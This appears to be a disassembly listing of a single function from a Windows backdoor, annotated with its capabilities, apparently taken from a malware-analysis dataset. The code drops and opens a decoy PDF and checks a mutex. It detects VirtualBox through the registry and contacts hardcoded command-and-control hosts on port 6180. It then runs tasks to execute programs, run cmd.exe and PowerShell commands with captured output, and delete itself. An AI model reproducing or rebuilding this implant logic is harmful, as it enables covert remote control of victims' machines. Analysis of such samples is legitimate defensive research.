Function at 0x140027a00
Capabilities:
Check mutex on windows
Create pipe
Create process on windows
Create two anonymous pipes
Execute command
Get common file path
Query or enumerate registry value
Read file on windows
Self delete
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push r15
mov eax, 0x12d8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000c130
xor esi, esi
sub rsp, rax
call fcn.14000b130
lea rax, [rsp + 0x120]
mov ecx, 0x100
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x60], rax
lea rsi, [rsp + 0x2d0]
lea rax, [rsp + 0x130]
mov qword [rsp + 0x120], rax
mov rdx, rsi
mov word [rsp + 0x130], 0
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x140027b76
lea rbx, [rsp + 0x140]
mov rdx, rsi
lea rbp, [rsp + 0x160]
mov rcx, rbx
lea rdi, [rsp + 0x1c8]
call fcn.140025ab0
mov rcx, rbx
lea rdx, [0x14005a4ae]
call fcn.1400239d0
mov rcx, rbp
mov rdx, rax
call fcn.140024f90
lea rdx, str.Scan_Kartochka_A_Automation_annexe.pdf
mov rcx, rbp
call fcn.1400239d0
mov rcx, rdi
mov rdx, rax
call fcn.140024f90
mov rcx, qword [rsp + 0x60]
mov rdx, rdi
call fcn.1400264c0
mov rcx, rdi
call fcn.140022c50
mov rcx, rbp
call fcn.140022c50
mov rcx, rbx
xor ebx, ebx
call fcn.140022c50
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov rcx, qword [rsp + 0x120]
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140027b76
xor r10d, r10d
mov r9, rdi
mov r8d, 0x2ec3b
mov rcx, rax
lea rdx, str._PDF_1.5_r_n_
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r11d, r11d
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 0xa
mov r8, qword [rsp + 0x120]
lea rdx, [0x14005a500]
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x60]
call fcn.140022c50
xor ecx, ecx
mov edx, 1
lea r8, str.T9We4DKU
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
je 0x14002877c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14002877c
lea rbp, [rsp + 0x1c8]
lea rdx, str.wmiadap.cfd:6180_wmiadap.sbs:6180
mov rcx, rbp
lea r12, [rsp + 0x160]
call fcn.140025ab0
xor r8d, r8d
xor r9d, r9d
mov rcx, rbp
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x160], r8
mov qword [rsp + 0x168], r8
mov qword [rsp + 0x170], r8
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x2d8], r9
mov word [rsp + 0x2e0], 0
call fcn.140018fb0
mov rbx, qword [rsp + 0x1c8]
mov rdi, rax
cmp rbx, rdi
je 0x140027c6b
movzx edx, word [rbx]
cmp dx, 0x2c
jne 0x140027c5d
cmp qword [rsp + 0x2d8], 0
je 0x140027c65
mov rcx, r12
mov rdx, rsi
call fcn.14001ee20
mov rax, qword [rsp + 0x2d0]
xor ecx, ecx
mov qword [rsp + 0x2d8], rcx
mov word [rax], 0
jmp 0x140027c65
mov rcx, rsi
call fcn.140024f10
add rbx, 2
jmp 0x140027c20
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x2d8], 0
mov qword [rsp + 0x58], rax
je 0x140027c8e
mov rdx, rsi
mov rcx, rax
call fcn.14001ee20
mov rcx, rsi
call fcn.140022c50
mov r8, qword [rsp + 0x160]
mov rcx, qword [0x140057d20]
mov rdx, qword [0x140057d28]
mov rax, qword [0x140057d30]
mov qword [0x140057d20], r8
mov r8, qword [rsp + 0x168]
mov qword [rsp + 0x2d0], rcx
mov rcx, rsi
mov qword [0x140057d28], r8
mov r8, qword [rsp + 0x170]
mov qword [rsp + 0x2d8], rdx
xor edx, edx
mov qword [0x140057d30], r8
mov qword [rsp + 0x160], rdx
mov qword [rsp + 0x168], rdx
mov qword [rsp + 0x170], rdx
mov qword [rsp + 0x2e0], rax
call fcn.14001ee60
mov rcx, qword [rsp + 0x58]
call fcn.14001ee60
mov rcx, rbp
call fcn.140022c50
call fcn.140014260
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rax + 0x1f40]
call r13
lea rax, [rsp + 0x100]
xor r8d, r8d
mov dword [rsp + 0xe0], 0x100
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
lea rdx, str.HARDWAREDescriptionSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140027ee0
lea rax, [rsp + 0xe0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x100]
lea rdx, str.VideoBiosVersion
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rdi, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x140027dbd
mov rcx, qword [rsp + 0x100]
call rdi
jmp 0x140027ee0
lea rbx, [rsp + 0x140]
mov rcx, qword [rsp + 0x100]
call rdi
lea rdx, str.virtualbox
mov rcx, rbx
call fcn.140022180
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
call fcn.140022180
lea rax, [rsp + 0x170]
mov r15, qword [rsp + 0x120]
mov r12, qword [rsp + 0x128]
mov qword [rsp + 0x160], rax
xor eax, eax
mov r14, qword [sym.imp.msvcrt.dll_tolower]
mov qword [rsp + 0x168], rax
add r12, r15
mov byte [rsp + 0x170], 0
cmp r12, r15
je 0x140027e44
movsx ecx, byte [r15]
inc r15
call r14
mov rcx, qword [rsp + 0x58]
mov edx, eax
call fcn.140021740
jmp 0x140027e27
lea rax, [rsp + 0x1d8]
mov r15, qword [rsp + 0x140]
mov r12, qword [rsp + 0x148]
mov byte [rsp + 0x1d8], 0
mov qword [rsp + 0x1c8], rax
xor eax, eax
mov r14, qword [sym.imp.msvcrt.dll_tolower]
mov qword [rsp + 0x1d0], rax
add r12, r15
cmp r12, r15
je 0x140027e9b
movsx ecx, byte [r15]
inc r15
call r14
mov rcx, rbp
mov edx, eax
call fcn.140021740
jmp 0x140027e80
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
mov rdx, rbp
call fcn.1400183f0
mov rcx, rbp
mov r12, rax
call fcn.14001f270
mov rcx, qword [rsp + 0x58]
call fcn.14001f270
mov rcx, qword [rsp + 0x60]
call fcn.14001f270
mov rcx, rbx
call fcn.14001f270
inc r12
je 0x140027dae
jmp 0x14002877c
call fcn.140012580
test al, al
jne 0x140027efe
call fcn.140014960
call fcn.140014260
lea ecx, [rax + 0x2710]
call r13
jmp 0x140027ee0
mov r12d, 0xa
imul ebx, r12d, 0x3e8
call fcn.140014260
lea ecx, [rbx + rax]
call r13
call fcn.140014430
test al, al
je 0x140027f34
mov rax, qword [0x1400591e0]
cmp qword [0x1400591e8], rax
je 0x140027f0b
xor r14d, r14d
jmp 0x140027f80
call fcn.140012580
test al, al
jne 0x140027f1f
call fcn.140014960
call fcn.140014260
lea ecx, [rbx + rax]
call r13
jmp 0x140027f34
imul rax, r14, 0x78
lea rdx, str.set_poll_interval
add rbx, rax
lea rdi, [rbx + 0x20]
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x140027fad
mov rcx, qword [rbx + 0x40]
call fcn.140015b50
mov byte [rbx + 0x50], 1
mov r12d, eax
inc r14
mov rbx, qword [0x1400591e0]
mov rax, qword [0x1400591e8]
movabs rdi, 0xeeeeeeeeeeeeeeef
sub rax, rbx
sar rax, 3
imul rax, rdi
cmp r14, rax
jb 0x140027f4f
jmp 0x140028749
lea rdx, str.run_program
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x140028255
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rsp + 0x58]
lea rdi, [rsp + 0x140]
call fcn.140015ab0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rsp + 0x60]
call fcn.140015ef0
mov rdx, qword [rbx + 0x40]
mov rcx, rdi
call fcn.140015ab0
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x160]
mov qword [rsp + 0x30], rax
mov edx, 0x40000000
mov dword [rsp + 0x28], 6
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
cmp rax, 0xffffffffffffffff
jne 0x14002803e
mov byte [rbx + 0x50], 0
lea rcx, [rbx + 0x58]
lea rdx, str.Failed_to_write_program_file
jmp 0x14002809f
mov rdx, qword [rsp + 0x120]
mov r8d, dword [rsp + 0x128]
xor eax, eax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x100]
sub r8d, edx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x68]
test eax, eax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x1400280a9
call rax
mov r8, qword [rsp + 0x160]
lea rdx, str.Failed_to_write_program_to__s
mov rcx, rsi
call fcn.140014f30
mov byte [rbx + 0x50], 0
lea rcx, [rbx + 0x58]
mov rdx, rsi
call fcn.1400228d0
jmp 0x140028234
call rax
mov byte [rbx + 0x50], 1
lea rdx, str.shell_exec
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x14002810d
xor eax, eax
mov r8, qword [rsp + 0x160]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 0xa
lea rdx, str.open
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8, rax
cmp rax, 0x20
jg 0x140028234
mov byte [rbx + 0x50], 0
lea rdx, str.ShellExecute_returned_code___32:__lld
mov rcx, rsi
call fcn.140014f30
jmp 0x140028098
lea rdx, str.system
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x140028132
mov rcx, qword [rsp + 0x160]
call sub.msvcrt.dll_system
jmp 0x140028234
lea rdx, str.create_process
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x1400281b0
xor eax, eax
mov ecx, 0x1a
mov rdi, rsi
xor r15d, r15d
rep stosd dword [rdi], eax
mov ecx, 6
mov rdi, rbp
xor r9d, r9d
rep stosd dword [rdi], eax
xor edi, edi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x48], rbp
mov rcx, qword [rsp + 0x160]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140028234
mov byte [rbx + 0x50], 0
lea rcx, [rbx + 0x58]
lea rdx, str.CreateProcess_returned_fallse
jmp 0x14002809f
lea rdx, str.win_exec
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x1400281f3
mov rcx, qword [rsp + 0x160]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r8d, eax
cmp eax, 0x1f
ja 0x140028234
mov byte [rbx + 0x50], 0
lea rdx, str.WinExec_returned_code___31:__d
mov rcx, rsi
call fcn.140014f30
jmp 0x140028098
lea rdx, str.Unknown_program_execution_method:
mov rcx, rsi
call fcn.140022180
mov rdx, rdi
mov rcx, rsi
call fcn.140020400
mov rcx, rbp
mov rdx, rax
call fcn.1400217c0
lea rcx, [rbx + 0x58]
mov rdx, rbp
call fcn.1400227f0
mov rcx, rbp
call fcn.14001f270
mov rcx, rsi
call fcn.14001f270
lea rcx, [rsp + 0x140]
call fcn.14001f270
mov rcx, qword [rsp + 0x60]
call fcn.14001f190
mov rcx, qword [rsp + 0x58]
jmp 0x14002873f
lea rdx, str.self_destruct
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x14002831c
mov r8d, 0x104
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8, rbp
lea rdx, str.cmd__c_ping_127.0.0.1__n_2___nul__del___s_
mov rcx, rsi
call fcn.140014a70
mov rdi, qword [rsp + 0x58]
xor eax, eax
xor r10d, r10d
mov ecx, 0x1a
xor r11d, r11d
xor r9d, r9d
xor r8d, r8d
rep stosd dword [rdi], eax
lea rdx, [rsp + 0x140]
mov ecx, 6
mov rdi, rdx
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x48], rdx
mov rdx, rsi
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r10
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, eax
xor eax, eax
test edx, edx
je 0x14002830f
mov rcx, qword [rsp + 0x140]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rsp + 0x148]
call rsi
mov al, 1
mov byte [rbx + 0x50], al
call fcn.140014430
jmp 0x14002877c
lea rdx, str.exec_command
mov rcx, rdi
call fcn.140026c80
test al, al
je 0x14002871a
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rsp + 0x60]
lea r15, [rsp + 0x100]
lea rdi, [rsp + 0xe0]
call fcn.140015ab0
mov rdx, qword [rbx + 0x40]
mov rcx, r15
call fcn.140015ab0
lea rdx, [0x14005a0da]
mov rcx, rdi
call fcn.140022180
lea rdx, [0x14005a6ba]
mov rcx, r15
call fcn.140026c80
test al, al
je 0x1400283b3
mov rcx, rsi
lea rdx, str.cmd.exe__C
call fcn.140022180
mov rdx, qword [rsp + 0x60]
mov rcx, rsi
call fcn.140020400
mov rcx, rbp
mov rdx, rax
call fcn.1400217c0
mov rdx, rbp
mov rcx, rdi
call fcn.1400227f0
jmp 0x140028420
lea rdx, str.powershell
mov rcx, r15
call fcn.140026c80
test al, al
je 0x140028430
lea rdx, str.powershell.exe__noprofile__command__
mov rcx, rsi
call fcn.140022180
mov rdx, qword [rsp + 0x60]
mov rcx, rsi
call fcn.140020400
mov rcx, rbp
mov rdx, rax
call fcn.1400217c0
lea rdx, [0x14005a6fa]
mov rcx, rbp
call fcn.140020290
mov rcx, qword [rsp + 0x58]
mov rdx, rax
call fcn.1400217c0
mov rdx, qword [rsp + 0x58]
mov rcx, rdi
call fcn.1400227f0
mov rcx, qword [rsp + 0x58]
call fcn.14001f270
mov rcx, rbp
call fcn.14001f270
mov rcx, rsi
call fcn.14001f270
lea rax, [rsp + 0x140]
mov rdx, rdi
xor r15d, r15d
mov rcx, rax
mov qword [rsp + 0x70], rax
call fcn.140021a80
mov rdi, qword [rsp + 0x58]
mov eax, r15d
mov ecx, 0xa
lea rdx, [0x14005a0da]
rep stosd dword [rdi], eax
lea rax, [rsp + 0x168]
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.140022180
xor r9d, r9d
lea r8, [rsp + 0xc8]
mov dword [rsp + 0xc8], 0x18
mov qword [rsp + 0xd0], r9
mov rdi, qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea rdx, [rsp + 0x98]
mov qword [rsp + 0x78], r8
lea rcx, [rsp + 0x90]
mov dword [rsp + 0xd8], 1
call rdi
mov r8, qword [rsp + 0x78]
test eax, eax
jne 0x1400284d9
mov dword [rsp + 0x160], 1
jmp 0x140028676
xor r9d, r9d
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0xa0]
call rdi
test eax, eax
jne 0x140028502
mov dword [rsp + 0x160], 2
jmp 0x140028676
mov eax, r15d
mov ecx, 0x14
mov rdi, rbp
xor r8d, r8d
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x90]
lea rdx, [rsp + 0xb0]
xor r9d, r9d
mov rdi, rdx
mov ecx, 6
mov dword [rsp + 0x204], 0x100
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], rax
mov eax, r15d
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], rdx
mov rdx, qword [rsp + 0x140]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r8
xor r8d, r8d
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400285a6
mov dword [rsp + 0x160], 3
jmp 0x140028676
mov rcx, qword [rsp + 0x90]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, qword [rsp + 0xa8]
call rdi
lea rax, [rsp + 0x88]
mov r15, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0x78], rax
xor edx, edx
mov r9, qword [rsp + 0x78]
mov rcx, qword [rsp + 0xa0]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdx
mov rdx, rsi
call r15
test eax, eax
je 0x140028610
mov r8d, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
mov rdx, rsi
call fcn.140020350
jmp 0x1400285d5
mov rcx, qword [rsp + 0xb0]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x8c]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0xb0]
call rdi
mov rcx, qword [rsp + 0xb8]
call rdi
mov rcx, qword [rsp + 0xa0]
call rdi
mov rcx, qword [rsp + 0x90]
call rdi
xor eax, eax
mov dword [rsp + 0x160], eax
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x164], eax
mov rcx, qword [rsp + 0x70]
lea rdi, [rbx + 0x58]
call fcn.14001f270
mov r8d, dword [rsp + 0x160]
test r8d, r8d
je 0x1400286b1
lea rdx, str.Command_failed__error__d
mov rcx, rsi
call fcn.140014f30
mov rdx, rsi
mov rcx, rdi
call fcn.1400228d0
mov byte [rbx + 0x50], 0
jmp 0x1400286ef
mov r8d, dword [rsp + 0x164]
lea rdx, str.Exit_code:__d_nOutput:_n
mov rcx, rsi
call fcn.140014f30
mov r8, qword [rsp + 0x68]
mov rdx, rsi
mov rcx, rbp
call fcn.140026d30
mov rdx, rbp
mov rcx, rdi
call fcn.1400227f0
mov rcx, rbp
call fcn.14001f270
mov byte [rbx + 0x50], 1
mov rcx, qword [rsp + 0x68]
call fcn.14001f270
lea rcx, [rsp + 0xe0]
call fcn.14001f270
lea rcx, [rsp + 0x100]
call fcn.14001f270
mov rcx, qword [rsp + 0x60]
jmp 0x14002873f
mov byte [rbx + 0x50], 0
mov r8, rdi
lea rdx, str.Unknown_task_type:
mov rcx, rsi
call fcn.140026d30
lea rcx, [rbx + 0x58]
mov rdx, rsi
call fcn.1400227f0
mov rcx, rsi
call fcn.14001f270
jmp 0x140027f7d
call fcn.140014430
imul ebx, r12d, 0x3e8
test al, al
jne 0x140027f04
call fcn.140012580
test al, al
jne 0x140027f04
call fcn.140014960
call fcn.140014260
lea ecx, [rbx + rax]
call r13
jmp 0x14002875d
add rsp, 0x12d8
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret